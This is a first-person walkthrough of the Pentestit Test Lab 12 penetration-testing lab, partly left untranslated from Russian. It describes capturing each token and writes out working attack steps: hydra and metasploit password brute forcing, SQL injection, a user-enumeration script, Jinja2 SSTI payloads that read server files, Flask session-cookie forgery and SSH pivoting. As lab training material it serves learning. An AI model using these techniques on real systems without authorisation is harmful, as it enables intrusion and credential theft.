Pentest-laboratory "Pentestit Test lab 12" - full passage
Each year, Pentestit launches a new penetration testing lab, the Test Lab, and this article will focus on going through the 12th lab, called “z 9r347 39u411z3r,” or if you decode it, “The great equalizer.”
Disclaimer
This article is not advisory in nature, but only describes the steps that I took to go through the laboratory. All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using knowledge and methods obtained as a result of studying this document.
Connection to the laboratory
Connection to the laboratory is via a VPN connection (since I was passing the laboratory on a machine running Linux, all the steps will be described for this platform). In order to get into the private network, you must perform the following steps:
- Register here .
- Save configuration files from here .
- Go to the network settings and select "add VPN".
- Import from file (specify downloaded file with configurations).
- Specify the login and password for connection (given on the tab "how to connect").
- We connect to the VPN and ping the gateway 192.168.101.1. If the ping passes, then you have successfully connected to the laboratory.
Target search
We have access to the network 192.168.101.X with a mask of 255.255.255.0. First of all, you need to find "live hosts" on the network. This can be done easily with the nmap utility:
nmap -sn 192.168.101.0/24
Used nmap options
-sn - define "live hosts"
ip / mask - network address / mask
ip / mask - network address / mask
So we find three hosts, one of which we already know (gateway):
- 192.168.101.1
- 192.168.101.12
- 192.168.101.13
The second step is to scan the discovered hosts for open and closed ports.
nmap -sV -Pn 192.168.101.12-13 -p-
Used nmap options
-sV - scan with software version determination
-Pn - disable ping when scanning
-p- - scan the entire range of ports
-Pn - disable ping when scanning
-p- - scan the entire range of ports
From the reports it is clear that 192.168.101.13 is unavailable, so we start from 192.168.101.12. The web server is spinning on port 80. But when you try to access it, a redirect to site.test.lab occurs , which is unknown to us (DNS is not configured for this redirect). Verification is carried out using a browser and curl utility.
curl http://192.168.101.12:80/
curl http://site.test.lab/
Make an entry in the / etc / hosts file for site.test.lab. Now, we calmly go to the site.
The first step is to collect information about the site. The most important is the site engine (CMS - content management system). To do this, use the wig utility.
wig -u http://site.test.lab/
For analysis, we get a report - Wordpress is used. Let's parse the wig output:- IP and title entries.
- Name, version and type of software.
- Important pages.
- Utilities that you can use.
- Possible vulnerabilities with links to CVE.
For scanning CMS WordPress and, more importantly, installed plugins (they are mostly vulnerable), the wpscan utility is best suited.
wpscan --url http://site.test.lab/ --enumerate p --random-user-agent
Used wpscan options
--url "URL"
--enumerate p - enumeration (brute) of plugins
--random-user-agent - change the user-agent field
--enumerate p - enumeration (brute) of plugins
--random-user-agent - change the user-agent field
We get the information we need: WordPress version, vulnerabilities and installed plugins. The fact is that these vulnerabilities will not provide us with the desired access. It is very useful to determine which plugins are used. In this case, it is “wp-survey-and-poll”. It is important to understand that scanners should only be used to obtain information about software. Since there is no single database of vulnerabilities, the scanner may not show all existing exploits. As a result of scanning, we have:
- WP Version: 4.9.8.
- Twentyseventeen: yes, v. 1.9
- Plugins: wp-survey-and-poll v. 1.5.7
WPScan output
The searchsploit utility is designed to conveniently search the largest exploit-db exploit database, which is downloaded and saved to your PC. For version 4.9.8, no vulnerabilities were found in the database. If we check the plugin, we will find two vulnerabilities.
searchsploit "WordPress Survey Poll"
Learn more about these vulnerabilities. This is a regular bind cookie injection in cookie. We need to answer the question and substitute our request in cookies. The technique is very simple: (any expression) OR 1 = 2 will return false, then the DBMS instead of solving our answer will display the second part of the UNION of the combined request. These are all columns, one of which (No. 10) will be displayed on the page. But operation from this network segment was impossible, as it became known later, because it blocks WAF.
MAIL token
After a failure on the site, you need to find other entry points. On the site, you could find the info@test.lab login, which we will use to select authentication information. Let's go through the other ports. The web is spinning on 8080, but the CSRF token is used. At 25 smtp, the password for which did not work out. We only have port 143 left - this is the IMAP service. For brutus, I used the hydra tool. As it turned out, the password was very simple.
hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12
Since we found the username and password for the mail, we are authorized to 192.168.101.12:8080. Now you need to properly analyze all the mail. Moreover, it is necessary to collect all the information, as it may come in handy later. Here's what I found:
- Inbox: VPN configs.
- In outgoing: Token for setting MAIL.
- Username sviridov@test.lab
VPN over VPN
We need to expand deep into the company's network. We have a VPN config, but we cannot disconnect from the main one. This technique is called VPN over VPN - when we connect a VPN inside a VPN inside a VPN, etc. For a VPN, a username and password are required. We know only 2 users (info and sviridov) and the password of one of them. We are trying to connect using a known username and password, if it does not work out, we will brute. To connect, perform the following steps:
- We create the userVPN.txt file, where the first line is the login, and the second is the password.
- Add the path to this file to the VPN config in the auth-user-pass column
- You create a bash script OverVPN.sh with the following contents: openvpn --config configuration_path_to_file_ &
- Assign him rights: chmod 770 ./OverVPN.sh
- Run: ./OverVPN.sh
We are lucky, the user info@test.lab is successfully logged in, and we are told that a new network 172.16.0.0/16 is available.
First of all, you need to find “live hosts” on the network, as you did last time:
nmap -sn 172.16.0.0/16
So we find four hosts.
Scan each host. On 172.16.0.1 nothing was found. I dare to assume that this is our long-known 192.168.101.13 on another network. It is through him that we are connected to this network. On 172.16.0.10, only the Web server on port 80 is available. On 172.16.0.17 we see a whole "testing ground" for testing. On 172.16.1.2 nothing. Most likely this is another VPN service.
Nmap scan results
DNS token
Since the next one in the list of tokens is DNS, we will begin to analyze the DNS service on port 172.16.0.17. The main vulnerability is getting DNS records - transfer of the DNS zone (the so-called AXFR request). We execute it using the nslookup and dig utilities.
The first to know the zones and the names of the servers responsible for these zones.
nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab
The second one will perform the transfer.
dig @172.16.0.17 ns1.test.lab axfr
This DNS server is not responding. But he knows about the rest of the DNS on the network. The dnsrecon utility allows you to do absolutely any operation with dns. Get the rest of the DNS on the network and add them to the / etc / hosts file.
dnsrecon -d test.lab -n 172.16.0.17 -t brt
Dnsrecon options
-d "domain"
-n "server"
-t brt is a technique, in this case brute force.
-n "server"
-t brt is a technique, in this case brute force.
When scanning the host 172.16.0.17, we get the token.
dnsrecon -d test.lab -n 172.16.0.17 -a
Dnsrecon result
Helpdesk token
Next task in the list: helpdesk. We found and added a similar domain. Moreover, this is the only service that runs on 172.16.0.10. There is a simple form of authorization, no CMS is used. As always, we try to log in as well-known users. And we quietly go under the user info@test.lab. We see the request form, after the token request, we get nothing. Apparently we don’t have it, but, as it happens in such tasks, it is available to another user. After a little review of the page, we find the ability to change the password.
Having scanned the search and password change forms with various scanners, we find nothing. Take a look at the source code of the password change page. If you update it several times, you will notice that the hidden field with the CSRF token does not change. That is, it is not a CSRF token. This is base64, decode and get the number.
Since no cookies are sent, it is obvious that this is the user id. The plan is as follows: we change passwords for all id, and for those id on which a successful result was obtained, we select a login using our password.
Burp Suite Implementation
Only two id responded successfully to the password change request. Now it remains to choose a username. Root and admin did not give a result, but sviridov@test.lab gives us a token.
Ad token
Before you go the VPN path, let's look at the services on 172.16.0.17. Dig SAMBA workgroup TEST (from nmap analysis). First of all, you need to find out users in the domain:
enum4linux -U 172.16.0.17
Enum4linux defines domains, users in domains, their rid, and other information. Among users, we take away the token. By the way, all logins are better to keep.
USERS token
From helpdesk, the tasks learned that the user sviridov was given access to the network, i.e., the vpn config. We also take the password from helpdesk. We try to connect to 192.168.101.13 using the existing config, but replace the username and password of the user in userVPN.txt.
Nothing happens. Then we try to connect to 192.168.101.12. We are connected and the networks 192.168.0.0/24 and 172.16.0.0/16 are available to us.
Now again it is necessary to conduct reconnaissance of the network. Two networks 172.16.0.0 with a mask of 255.255.0.0 are available to us, where we find eight hosts, and a network 192.168.0.0/24, which is not scanned. Apparently a firewall is activated on all hosts. We scan with the -Pn option, and in the report we get absolutely all hosts and ports are filtered everywhere. We notice that there are hosts on the network that have port 22 open:
- 192.168.0.10
- 192.168.0.15
- 192.168.0.30
- 192.168.0.100
- 192.168.0.205
- 192.168.0.240
Nmap scan result
Since the only thing that exists on the network 192.168.0.0/24 is six hosts with open ssh ports, we’ll scroll through them all to be able to connect under one of the users we know.
Since there are six hosts, we automate the search using the metasploit framework utility. We will use the auxiliary module / scanner / ssh / ssh_login.
> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit
We go to all hosts under both users and look for information. After a long walk on 192.168.0.100 we find an error in access rights. The user's home directory is available for viewing to absolutely everyone. We find a token in it. But its author is sviridov. Log in under Svridov and hand in the token.
Nothing more interesting was found. Ip route had no other networks. In cron there was only a cleaner. In / tmp / a lot of incomprehensible:
- 1.sh - did not give anything.
- Client.jar does not start because there is no JVM. It is strange why he is needed at all.
- Rename to DAGESTAN_SILA nmap.
- Two checkers to increase privileges.
- And a lot of different garbage.
VPN token
On the 172.16.0.0/16 network, port 80 is open on all hosts. It is worth browsing sites on all hosts:
- On 172.16.1.10 we find the token !!! I went to the VPN job. Apparently the task was to guess to connect to 192.168.101.12 as user sviridov.
- On 172.16.1.12 the authorization form.
- On 172.16.1.15 basis authentication.
It was very easy, move on.
SIEM token
We go to 172.16.1.12 . We read what Prewikka is. Prewikka is the main user interface for the Prelude SIEM system, implemented through the Web. Access to the interface is via a web browser. Authentication is done using local accounts or through an LDAP directory. Exploits could not be found. Google login and password by default. Failure, because they are indicated during the installation of the system. But you can try an example from the documentation: prelude: preludepasswd - did not fit. Let's try the users that we already know (and we only know the passwords of two). Sviridov came up. It is important to note that only the administrator has access to the SIEM system. It can be argued that we have defined the admin.
We observe that data for this month is being displayed. We translate the journal a month earlier and see the logged data.
Just note the domains that we add to / etc / hosts:
- (admin.test.lab) 172.16.1.25
- (vpn-admin.test.lab) 172.16.1.10
- (repository.test.lab) 172.16.1.15
- (site.test.lab) 172.16.0.14
Among the repository.test.lab logs, we find a token.
Since we found and added a new entry for site.test.lab in / etc / hosts, let's go back and exploit the vulnerability on site.
Site token
Back to site.test.lab, which now corresponds to 172.16.0.14. Let's see if WAF works for it. We send our load from the example and get the DBMS version. Next, we find out which database is used. If it matches the default data, then you can immediately get the name and hash of the user, since by default the table with users is: wp_users. The database name (wordpress) is the same, therefore, we find out the username and password. Unfortunately, this does not give anything. Password scrolling also failed.
Next (I will not describe the technique, these are the basics) we go along the usual path in this case - we get the names of all the tables. Among them there is the necessary table - token. Find out what are the columns and data types. Then we understand that we need to get the name value.
Exploit vulnerabilities with Burp Suite
Repository token
In SIEM, we found the logs for repository.test.lab. Let's try to log in using the data found. You can go back again and look for logs for absolutely all the services that are there.
We pass, we try to log in. Successfully!!! We see some files and a token.
Reverse token
In addition to the token, there were two more files in the repository. One of them for specifying Reverse is a bin file. Let's conduct a basic analysis of the executable file:
- Strings - a utility that displays all the lines from a file. In this case, we see a lot of base64 lines. Decoding gives nothing.
- Ltrace is a utility that intercepts library function calls. In this case, no library functions were called.
- Strace is a utility that intercepts all syskols (system calls). We did not receive any data that was useful to us.
The result of these utilities
We did not receive any data that was useful to us. For tasks of such a plan, I prefer to use Angr for automatic solutions (I will write more about the angr library in subsequent articles). I give the code in python.
import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))
We get the token as an answer.
DB token
Now let's figure out the jar file. You need to understand what he is doing. Java is a decompiled language, so we get the source code. There are many programs that allow this (the best: JAD, JD-gui, Javasnoop, Intellij Idea Decompiler, JD-plugin Eclipse). I use JD-gui for decompilation and Intellij Idea for building projects. Get the source project by following these steps:
- Run jd-gui. On Linux, there is a startup problem that can be solved like this - create a bash file with the following contents:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
- Download client.jar and save.
- Open Intellij Idea → Import Project. Specify the path to the file folder.
- Create project from existing sources.
Saving to JD-GUI
Let's analyze the application code to imagine what it is for. The first step is to set the connection and SSL parameters. The call occurs at the address 172.16.0.55 on port 5074. Next, we receive a message asking you to enter one of the numbers to select a request. Depending on it, a certain parameter is passed to the Reqvest function. The Reqvest function returns the generated request in json format. We send a request and get a response.
The source code of the decompiled application
There is a difficulty: the host 172.16.0.55 is not available to us. But we found a similar application on 192.168.0.240 at Sviridov. This means that routing is configured in such a way that there is access to the application server from his computer. Since we have access via SSH, we can forward the port to our locale. To forward the port, use the sshuttle utility.
sshuttle -r sviridov@192.168.0.240 172.16.0.0/16
As a result, we get access to the network.
Now we test the application in debug mode, but in order to change something, you need to rebuild the project. When trying to run the application through F9, we get an error. To fix it, you must:
- Clear repetition.
- Error in json. Delete the entire folder from the project.
- Select the project in the context menu: Open Module Setting or F4
- In the Dependencies tab, select "+" and specify the jar file. So from the finished project, we will load the already assembled libraries that the decompiler spoiled.
Now the application starts successfully, and we can begin to search for vulnerabilities. The query string, as we have figured out, is formed inside the Reqvest function. Let's change the code a bit to understand how the system responds to any of our input. Let's add the lines in which we will control the returned parameter and display it in the console. Next, we will perform four possible queries. As we can see, the JSON string is passed. And the system, somewhat reminiscent of HelpDesk, will return user requests to us. By the way, apparently the databases are spinning on the server, since the application returns us the user under which the request was made.
Tests
In order to make it more convenient to change and fine-tune the parameters, we will make the function constantly return the same string.
Since the database is used on the server, the first thing to check is the presence of SQL injection:
- Отправим самую безобидную нагрузку — функцию задержки. Запрос с задержкой на 10 секунд выполняется намного дольше, чем с задержкой на 0 секунд. Есть SLEEP инъекция.
- Проверим уязвима ли она для BLIND. Так как вывод на верное условие не изменился, то приложение уязвимо и для BLIND инъекции.
- Сперва нужно выяснить количество столбцов в выводе. Для этого мы строим объединенный запрос UNION. Перебираем количество столбцов пока не будет вывода. Так вывод появляется при 5 столбцах.
- Теперь необходимо узнать служебную информацию: СУБД (@@version) и имя БД (database()). Имя БД – чтобы знать к чему обращаться, а СУБД – каким окружение оперировать. Так узнаем, что используется MySQL, а имя БД – «reqvest».
- Теперь через окружение information_schema узнаем какие существуют таблицы. Нас интересует token.
- Узнаем какие столбцы есть в таблице token.
- Display the contents of the token table.
Exploitation"
This task turned out to be so interesting !!!
User api token
After discovering six hidden hosts on the 192.168.0.0/24 network, I thought about the fact that these could be in 172.16.0.0/16. Perform the same scan on the main ports. Since the output is too large, we will search for the keyword “open”. We find two more hosts with open web.
Well, since they tried to hide 172.16.1.20:8000 from us, we go to it and see the AJAX application. Well, as always, we scan the directories. Everything that dirb found is already available to us.
The contact page is useless to us. The login page requires authorization. And support contains some kind of barcode file. This seems to be stego, so for now let’s leave it. By the way, if you go to this page several times, then different images appear. We will save everything, there are only 4. They are decoded as "support_team".
Let's look through which directories are there. We observe five directories: contac, get_user_list, recover_password, login, support. So if you look at the get_user_list directory, they will tell us that there are two parameters - the login string and the password string. We look, we select users and passwords - it gives nothing. In barcodes it was support_team we try as login. And again, brutality gives nothing anywhere.
By accidentally inserting a quotation mark, we find a strange reaction.
login=support_team“&password=“ and “1=1“
And we are shown a list of users.
When trying to log in as any user, we get the same error. Find the correct user: login pair. We will write a script that will go through all the pairs and select those that pass the test.
The code
from requests import get
list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l):
print(str(i)+" - " + str(l))
req = get(url, params=list_user[i])
if "use valid credentials" not in req.text:
print(list_user[i])
valid.append(list_user[i])
print(valid)
So we find Medvedev.
Recover his password. Passing immediately will not work, since “+” will be recognized as a space, and “&” as a separator. We encode in URLencode and take the token.
Image token
So, we found pictures for stego. Let's get it right. Using file, binwalk, and a hex editor, we check files for attachments. They are not, therefore, we will analyze the stegsolve utility. In the largest picture we find the drop-down bits at the 2 and 1 rgb positions. This is the LSB method.
Further, as I did not twist in stegsolve, I received nothing. Will have to understand more deeply handles. To do this, use the python PIL library for working with images. We look at the picture, and we see that the pixels take three values - 0, 255 and 249. Let's build a binary image map. Since 0 and 255 for barcodes are normal values, we will write “0” instead of them, and “1” instead of 249. Next, we will try to split our card into sixteen characters and remove from it all the lines that contain only sixteen zeros. Next, write out the position of a unit from each line, and translate it from a hexadecimal form to a string to get a token.
Images
The code
from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height):
for j in range(width):
if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0):
r+='1'
else:
r+='0'
token=''
for i in range(0,len(r),16):
if r[i:i+16] != '0'*16:
token+=hex(r[i:i+16].find('1'))[2]
print(token)
My token
So. There is also my.test.lab in the / etc / hosts file, where we haven’t gone yet. Authorization form. We have info, sviridov and medvedev users. Successfully log in to info. There is a search bar. Upon request of the token, we are given five pony pictures. There is nothing, we will scan. When using wapiti we get banned. For some queries for checking SQL-inj and XSS, we also get a ban. We send a simple request for testing SSTI: {{7 * 7}}. And the code was executed, since in the answer we got 49. It
remains to determine the template engine that is used on the server. This is necessary in order to know which environment (variables, functions, constants, etc.) to work with. This can be easily done as follows.
We already know that this is Jinja2 or Twig. Therefore, we send the following request: {{7 * “7“}}. We get a positive response. This is the Jinja2 python template engine, which is easily confirmed by the {{self}} request.
Let's look at the configurations: {{config}}. There we find the secret key, which is the token.
Token API
We learn from the documentation that jinja2 generates cookies depending on the secret key of the server. To exploit the vulnerability, we need the flask-session-cookie-manager script . We need to check if this secret key works. To do this, we need to try to decrypt the info user session on it. Cookies are decrypted freely.
Knowing the format of cookies, we can now log in as any user. To do this, you must also generate cookies. After long failures, I noticed a correlation between the middle block and system time. We change the date until the beginning of the middle block coincides. Reached 2060. Generated token and sviridov users, but it doesn’t give anything, so I decided to generate for admin. After successfully replacing cookies, we get some secret keys of users, for which they did not understand.
It takes three days to search for RCE (remote code execution) through SSTI. The fact is that we can only operate the modules loaded on the server and the functions of them. To begin with, we find out what functions are. We will do this through a flask cookie.
{{"".__class__.__mro__[1].__subclasses__()}}
We insert into the cookies, refresh the page and see that instead of the username all loaded python classes on the server are displayed. Among them is Popen, which will allow us to read files on the server.
Now it remains to read the file along the path / var / www / api / token. We will access the class by index (for popen it is 94). In it, we call the open function to open the file (we break the path to the file, otherwise WAF filters) and read it with the read () function.
{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}
As the output, we get the file as a set of bytes, which we copy, open the python interpreter and paste it as a string. Next, write this line to the file. Let's look at the file type in the file utility. This is the * tar.gz archive. We open and take the token.
Images
Admin token
The last task remains. The archive stores the key for connecting via ssh. From SIEM analysis, you can find out which host to connect to.
First of all, you need to configure the access rights for the key, since this is checked when connecting (it should be 600). Then we connect, but they tell us that access is closed and the error is in the key.
When viewing the key format, we notice that its contents do not correspond to the full file. To do this, we need the authentication information that we accepted when establishing the connection and the SHA hash that can be taken in SIEM.
Old and new certificates
But now when you try to connect, under Sviridov (he is the admin), we are told that the key does not fit. We need to sort through all the users that we already have.
To test the key and users, we use the metasploit framework module - scanner / ssh / ssh_login_pubkey. And as you can see, this is the user key sidorov.
Find in the token file system.
find | grep token
Next, check the rights and hand over the token.
Conclusion
So the Pentestit Test Lab 12 was passed.
I would like to say a big thank you to the organizers of this laboratory, but some tasks were more for CTF than for penetration testing. I hope this article will help someone learn and discover something new, and someone will be reminded of the moment when he himself went through this laboratory from token to token. Now we are waiting for the 13th ...
We are in a telegram channel: a channel in Telegram .